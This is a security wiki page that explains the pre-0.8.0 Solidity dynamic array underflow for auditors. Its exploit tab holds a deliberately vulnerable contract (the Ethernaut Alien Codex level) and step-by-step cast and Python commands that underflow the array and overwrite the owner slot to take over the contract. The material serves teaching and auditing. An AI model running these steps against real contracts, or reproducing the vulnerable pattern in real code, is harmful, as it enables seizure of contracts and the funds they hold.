> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/smart-contracts-pentesting/vulnerabilities/evm-attack-surfaces/dynamic-array-underflow.md).

# Dynamic Array Underflow

## Theory

Before Solidity 0.8.0, dynamic arrays lacked length underflow protection. When a dynamic array's length was decreased below zero through `array.length--`, it would wrap around to `2^256 - 1`, effectively granting write access to the entire contract storage.

#### Storage Layout Fundamentals

In Solidity, storage slots are 32-byte positions numbered from 0 to `2^256 - 1`. Dynamic arrays store their length at a specific slot `p`, while their elements are stored starting at `keccak256(p)`.

**Example with a dynamic array at slot 1:**

* Slot 1: stores the array length
* Slot `keccak256(1)`: stores `array[0]`
* Slot `keccak256(1) + 1`: stores `array[1]`
* Slot `keccak256(1) + n`: stores `array[n]`

#### The Underflow Attack Vector

When `array.length` underflows from 0 to `2^256 - 1`, the array theoretically spans the entire storage space. An attacker can then calculate offsets to overwrite any storage slot, including critical variables like contract ownership or access control flags.

**Mathematical exploitation:**

```
Target slot = keccak256(array_slot) + offset (mod 2^256)
```

By solving for the offset, an attacker can write to arbitrary storage locations through seemingly legitimate array access operations.

## Practice

When auditing pre-0.8.0 contracts, scrutinize any code that allows users to decrease dynamic array lengths, particularly through operations like `pop()`, manual `length--`, or `delete` on array elements in certain contexts.

#### High-Risk Patterns

Look for contracts where:

* Users can trigger array length decrements without proper bounds checking
* Dynamic arrays are combined with privileged storage variables in the same contract
* Array manipulation functions lack `require(array.length > 0)` guards
* Manual storage slot calculations are performed

Even in modern Solidity, be cautious of:

* Inline assembly manipulating array lengths (`sstore`)
* Custom storage layouts bypassing compiler protections
* Legacy contract upgrades that preserve old vulnerable logic

{% tabs %}
{% tab title="Exploit" %}
**Vulnerable Contract Example**

```solidity
pragma solidity ^0.5.0;

contract AlienCodex {
    address public owner;
    bool public contact;
    bytes32[] public codex;  // Slot 1
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
    function makeContact() public {
        contact = true;
    }
    
    function record(bytes32 _content) public {
        require(contact);
        codex.push(_content);
    }
    
    function retract() public {
        require(contact);
        codex.length--;  // Underflow vulnerability
    }
    
    function revise(uint i, bytes32 _content) public {
        require(contact);
        codex[i] = _content;  // Arbitrary storage write
    }
}
```

The `owner` variable is stored in slot 0, while `codex.length` is at slot 1. The array data begins at `keccak256(1)`.

**Exploitation Steps**

**Step 1: Trigger the underflow**

```bash
cast send $CONTRACT_ADDRESS \
  "makeContact()" \
  --rpc-url $RPC_URL \
  --private-key $PK

cast send $CONTRACT_ADDRESS \
  "retract()" \
  --rpc-url $RPC_URL \
  --private-key $PK
```

After `retract()`, `codex.length` becomes `2^256 - 1`, allowing access to all storage slots.

**Step 2: Calculate the offset to slot 0**

```python
from web3 import Web3

# Storage slot where codex data starts
array_data_slot = int(Web3.solidity_keccak(['uint256'], [1]).hex(), 16)

# Calculate offset to reach slot 0
target_slot = 0
offset = (2**256 - array_data_slot + target_slot) % (2**256)

print(f"Offset to overwrite owner: {hex(offset)}")
```

**Step 3: Overwrite the owner variable**

```bash
# Prepare the new owner address (your address, left-padded to 32 bytes)
NEW_OWNER="0x000000000000000000000000YOUR_ADDRESS_HERE"

cast send $CONTRACT_ADDRESS \
  "revise(uint256,bytes32)" \
  $OFFSET \
  $NEW_OWNER \
  --rpc-url $RPC_URL \
  --private-key $PK
```

The attacker now controls the contract by overwriting slot 0 where the `owner` address is stored.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays>" %}

{% embed url="<https://swcregistry.io/docs/SWC-124/>" %}

{% embed url="<https://medium.com/@rohanzarathustra/ethernaut-level-19-alien-codex-f2c24dac82cc>" %}

{% embed url="<https://blog.dixitaditya.com/ethernaut-level-19-alien-codex>" %}
